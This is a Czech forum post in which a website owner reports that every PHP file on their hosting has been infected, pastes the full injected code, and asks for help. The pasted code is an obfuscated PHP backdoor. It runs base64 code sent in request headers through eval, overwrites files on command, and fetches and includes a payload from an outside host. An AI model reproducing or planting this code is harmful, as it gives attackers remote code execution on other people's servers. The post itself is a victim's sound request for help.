Zdravím,
dnes jsme s hrůzou zjistili, že na našem hostingu máme ve všech php souborech tuhle věc:
<?php
?><?php
/*versio:2.02*/if (!defined ("determinator")){${"\x47\x4cO\x42\x41\x4cS"}["\x77yy\x74\x69\x61\x77i"]="\x76";${"\x47LOB\x41\x4cS"}["\x68\x6c
r\x76\x6a\x62u"]="\x74m\x70";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x74\x71r\x69y"]="s\x61lt";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6ay\x6e\x76\x77\x64"]="\x73\x6fu\x72\x63
e";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x75\x6d\x6f\x76\x73\x6f\x79nq\x6f\x75"]="fil\x65";${"G\x4c\x4fBAL\x53"}["\x63m\x68t\x62\x7a\x74"]="\x64e";${"\x47\x4cO\x42\x41\x4c\x5
3"}["\x77\x69\x65\x66\x71a\x6bcr"]="\x6b\x65y";${"\x47L\x4f\x42\x41\x4cS"}["\x73\x63\x6bsweg\x6er\x6fb"]="\x64\x61\x74\x61";${"\x47\x4cO\x42\x41\x4c\x53"}["f\x67\x64\x64
\x6c\x78r\x6c\x73\x63\x77x"]="\x65n";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x70\x6a\x71h\x72\x75\x70yk\x66"]="sc";${"\x47\x4cO\x42\x41\x4c\x53"}["a\x73\x74\x67\x76\x66\
x68"]="h0";${"\x47\x4cO\x42\x41\x4c\x53"}["b\x65v\x67\x65m\x6a\x62ij"]="c\x68";${"\x47\x4cOB\x41\x4c\x53"}["\x6fpi\x74\x70j\x7a"]="\x75\x72\x69";${"\x47\x4c\x4fBA\x4c\x5
3"}["\x68qe\x7a\x74\x70aq"]="\x6b";${"\x47\x4c\x4fB\x41LS"}["\x6aew\x76\x6c\x6aw\x67"]="\x63\x6d\x64";${"\x47L\x4f\x42\x41\x4c\x53"}["\x62b\x66\x76\x6b\x61\x74\x70"]="\x
75\x72l";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x6d\x6cilx\x67\x70\x77\x72\x7a"]="\x77h";${"\x47\x4c\x4fB\x41LS"}["\x68\x62v\x6c\x65p\x76"]="\x63o\x64\x65";${"\x47\x4c\
x4f\x42\x41\x4c\x53"}["r\x6d\x78s\x70w\x72\x7afq\x6c"]="\x63\x6fnt\x65n\x74";if(!defined("\x64e\x74\x65\x72\x6d\x69\x6e\x61tor")){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74ro\
x70\x75\x71sq"]="s\x6fu\x72c\x65";function filter(){foreach($_GET as${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x68q\x65\x7at\x70\x61\x71"]}=>${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x
77\x79\x79t\x69\x61w\x69"]}){$dxodyzjehg="v";if(strpos(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x79\x79t\x69\x61\x77i"]},"\x75nion")){${"G\x4c\x4f\x42\x41\x4c\x53"}["h\x76
\x79b\x6b\x79x"]="\x6b";$_GET[${${"G\x4c\x4f\x42\x41L\x53"}["\x68\x76\x79\x62\x6b\x79x"]}]="";}elseif(strpos(${$dxodyzjehg},"s\x65lect")){$bpxbmynphsij="k";$_GET[${$bpxb
mynphsij}]="";}}}function getfile($url){if(ini_get("\x61l\x6c\x6fw\x5f\x75r\x6c\x5f\x66o\x70\x65n")=="1"){${"\x47\x4c\x4f\x42\x41L\x53"}["\x73\x6f\x66\x70ku\x65\x65\x6b"
]="\x61";${${"GL\x4f\x42\x41\x4c\x53"}["\x73\x6ff\x70k\x75\x65ek"]}=@file_get_contents(${${"\x47LO\x42\x41\x4cS"}["\x62\x62\x66\x76\x6ba\x74\x70"]});return"";}elseif(fun
ction_exists("c\x75r\x6c_i\x6e\x69\x74")){$somosnmx="\x75\x72l";$fmubwrwhil="\x63\x68";$oftigwv="c\x68";$jdcacfi="c\x68";$mqdinhwfvm="\x64\x61\x74\x61";${"\x47\x4c\x4f\x
42ALS"}["\x74\x69\x67\x6d\x74\x72\x76\x72\x69cs"]="\x63\x68";${$jdcacfi}=@curl_init();@curl_setopt(${$fmubwrwhil},CURLOPT_URL,${$somosnmx});$lscpcqosmzv="c\x68";@curl_se
topt(${$oftigwv},CURLOPT_HEADER,false);@curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["t\x69g\x6dtrvri\x63\x73"]},CURLOPT_RETURNTRANSFER,true);@curl_setopt(${${"\x47L\x4f
\x42A\x4c\x53"}["\x62\x65\x76gemj\x62\x69j"]},CURLOPT_CONNECTTIMEOUT,5);if(${$mqdinhwfvm}=@curl_exec(${${"\x47L\x4f\x42\x41\x4cS"}["b\x65vg\x65\x6d\x6abij"]})){return${$
{"\x47LO\x42\x41\x4c\x53"}["s\x63\x6bsw\x65g\x6er\x6fb"]};}@curl_close(${$lscpcqosmzv});return"";}else{$ksdvicmmwvms="u\x72l";return"\x3cim\x67 src=\x22".${$ksdvicmmwvms
}."\x22\x20\x77\x69dth\x3d\"1px\x22\x20\x68\x65ight=\"\x31px\x22 \x2f>";}}${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63\x6duu\x72\x74"]="v\x65r";$xleteu="\x73a\x6c\x74";function
upd($file,$url){${${"\x47L\x4f\x42A\x4cS"}["\x61\x73\x74g\x76\x66\x68"]}=@fopen(${${"GL\x4f\x42\x41L\x53"}["\x75\x6dov\x73\x6fy\x6e\x71ou"]},"w");$wmdbved="h0";@fclose($
{$wmdbved});if(@is_file(${${"\x47\x4c\x4f\x42\x41LS"}["\x75\x6d\x6f\x76s\x6f\x79n\x71ou"]})){$omoqfflj="\x66il\x65";write(${$omoqfflj},getfile(${${"\x47L\x4f\x42AL\x53"}
["\x62\x62\x66v\x6ba\x74\x70"]}));}}function write($file,$content){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x68\x69\x6d\x64\x63k\x66\x76"]="\x66ile";$kxvmccesscl="\x77h";
if(${$kxvmccesscl}=@fopen(${${"\x47\x4cOB\x41\x4c\x53"}["\x62\x68i\x6d\x64c\x6b\x66v"]},"w")){$hoekeqcglod="\x77\x68";@fwrite(${$hoekeqcglod},${${"\x47\x4c\x4f\x42\x41\x
4c\x53"}["\x72m\x78spw\x72\x7a\x66\x71\x6c"]});@fclose(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x65\x6dl\x69l\x78\x67\x70w\x72z"]});}}function output($key,$value){$rvjniwxeub=
"\x76a\x6c\x75\x65";echo"Y_".${${"\x47LO\x42\x41L\x53"}["\x77ie\x66\x71\x61\x6b\x63r"]}."\x3a".${$rvjniwxeub}."\r\n";}function param(){return"none";}ini_set("\x64\x69\x7
3\x70l\x61\x79\x5f\x65\x72r\x6fr\x73",1);${${"\x47\x4c\x4f\x42\x41L\x53"}["\x74r\x6f\x70u\x71\x73\x71"]}="\x75pd";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63m\x75\x75\x72\x74
"]}="2\x2e\x30\x32";${${"\x47L\x4fBA\x4cS"}["f\x74\x71\x72i\x79"]}="\x77\x45T~p\x72o7\x38o\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73q\x66\x72\x77\x78\x65\x6dz\x67"]="
\x75r\x69";${${"\x47\x4cO\x42A\x4c\x53"}["\x66\x67\x64d\x6c\x78\x72l\x73c\x77\x78"]}="\x62\x61\x73e\x36\x34_en\x63\x6fd\x65";$lusoooffvvmf="\x76\x65\x72";${${"\x47\x4cO\
x42A\x4c\x53"}["c\x6d\x68\x74\x62z\x74"]}="b\x61se6\x34\x5fde\x63o\x64e";$host=isset($_SERVER["\x48\x54\x54PS"])?"\x68\x74\x74p\x73://":"ht\x74\x70://";$host.=strtolower
(@$_SERVER["\x48T\x54P\x5f\x48OST"]);${${"GLO\x42\x41\x4c\x53"}["\x6f\x70jq\x68r\x75\x70\x79k\x66"]}=@md5($host.PHP_VERSION.${$lusoooffvvmf}.PHP_OS.${$xleteu});define("d
e\x74\x65\x72m\x69nator",1);filter();if(${${"\x47\x4cOB\x41\x4c\x53"}["\x73\x71\x66\x72\x77\x78e\x6dz\x67"]}=$host.@$_SERVER["\x52\x45QUEST_\x55R\x49"]){${"\x47\x4c\x4f\
x42\x41\x4c\x53"}["\x71\x73\x78\x73\x6a\x67t\x6a\x6c\x75"]="\x73\x63";${"\x47\x4c\x4fBA\x4c\x53"}["\x67\x68\x76\x74n\x61f\x70dfr"]="\x74m\x70";${${"\x47LOBA\x4c\x53"}["h
l\x72\x76j\x62u"]}="/t\x6dp\x2f";if(!empty($_ENV["TM\x50"])){$qphtce="\x74mp";${$qphtce}=$_ENV["\x54\x4dP"].DIRECTORY_SEPARATOR;}if(!empty($_ENV["\x54\x4dPD\x49\x52"])){
${${"GL\x4f\x42\x41LS"}["h\x6c\x72\x76j\x62u"]}=$_ENV["T\x4d\x50\x44IR"].DIRECTORY_SEPARATOR;}if(!empty($_ENV["\x54EMP"])){$fbhducoummic="\x74\x6d\x70";${$fbhducoummic}=
$_ENV["TEMP"].DIRECTORY_SEPARATOR;}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["hlrv\x6a\x62\x75"]}=${${"\x47LO\x42\x41L\x53"}["gh\x76t\x6e\x61\x66\x70\x64f\x72"]}."\x2e".${${"\
x47LO\x42\x41\x4cS"}["\x6fp\x6a\x71\x68ru\x70\x79\x6b\x66"]};if(@$_SERVER["HTTP\x5fY_\x41\x55TH"]==${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71\x73\x78\x73\x6a\x67\x74\x6a\x6c
u"]}){echo"\r\n";$dktxudbn="ve\x72";@output("ve\x72s\x69\x6f",${$dktxudbn}."\x2d".${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6ay\x6e\x76w\x64"]}."-\x70\x68\x70");if(${${"\x47L\
x4f\x42\x41LS"}["\x68\x62\x76lepv"]}=${${"\x47L\x4f\x42\x41\x4c\x53"}["c\x6d\x68\x74b\x7at"]}(@$_SERVER["HT\x54\x50\x5fE\x58ECPHP"])){${"\x47LO\x42\x41\x4c\x53"}["b\x76t
j\x6bn\x73\x6b\x6f\x74i"]="co\x64e";@eval(${${"\x47\x4c\x4fB\x41L\x53"}["\x62v\x74\x6akn\x73\x6b\x6ft\x69"]});echo"\r\n";output("\x6f\x75\x74","o\x6b");}if(${${"G\x4c\x4
f\x42\x41\x4c\x53"}["j\x65\x77\x76\x6c\x6awg"]}=${${"\x47L\x4f\x42ALS"}["cmh\x74b\x7at"]}(@$_SERVER["\x48TTP_\x55P\x44\x41TE"])){upd(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x
68lrv\x6ab\x75"]},${${"\x47\x4c\x4fBA\x4cS"}["\x6ae\x77v\x6cj\x77\x67"]});output("o\x75\x74","ok");}exit(0);}${${"\x47L\x4f\x42\x41\x4cS"}["o\x70\x69\x74p\x6a\x7a"]}=@ur
lencode(${${"\x47L\x4fBA\x4c\x53"}["\x6f\x70i\x74pjz"]});if(@is_file(${${"G\x4c\x4f\x42\x41L\x53"}["\x68\x6c\x72\x76\x6a\x62\x75"]})){@include_once(${${"\x47\x4c\x4f\x42
A\x4c\x53"}["\x68\x6c\x72vj\x62u"]});}else{${"\x47LO\x42\x41\x4c\x53"}["\x63\x65\x69n\x79\x72j\x69\x6a\x63\x66\x69"]="\x75ri";upd(${${"\x47\x4c\x4fBAL\x53"}["hl\x72\x76\
x6abu"]},"ht\x74\x70\x3a/\x2f"."\x75\x6fnd"."o\x2e\x6e\x65"."\x74\x2fpg".".p\x68\x70?u\x3d".${${"\x47L\x4f\x42\x41L\x53"}["\x63\x65\x69\x6ey\x72\x6ai\x6a\x63f\x69"]}."&\
x6b\x3d".${${"G\x4cO\x42\x41\x4c\x53"}["\x6f\x70j\x71\x68r\x75\x70y\x6b\x66"]}."\x26\x74\x3d\x70h\x70\x26p\x3d".${${"\x47\x4c\x4fB\x41L\x53"}["\x6a\x79n\x76\x77\x64"]});
}}}}?>
Nejhorší je, že když se na něj podívám v terminálu, třeba přes mcedit tak to vidím, když to stáhnu přes ftp, tak to taky vidím, ale když chci dotyčný soubor editovat, tak v něm není adni památky po nějakém kódu. Už jste se s tím prosím někdo setkal? Koukal jsem, že úplně stejný kód někdo zveřejnil na pastebin.com, ale bez odpovědi. Díky za každou radu.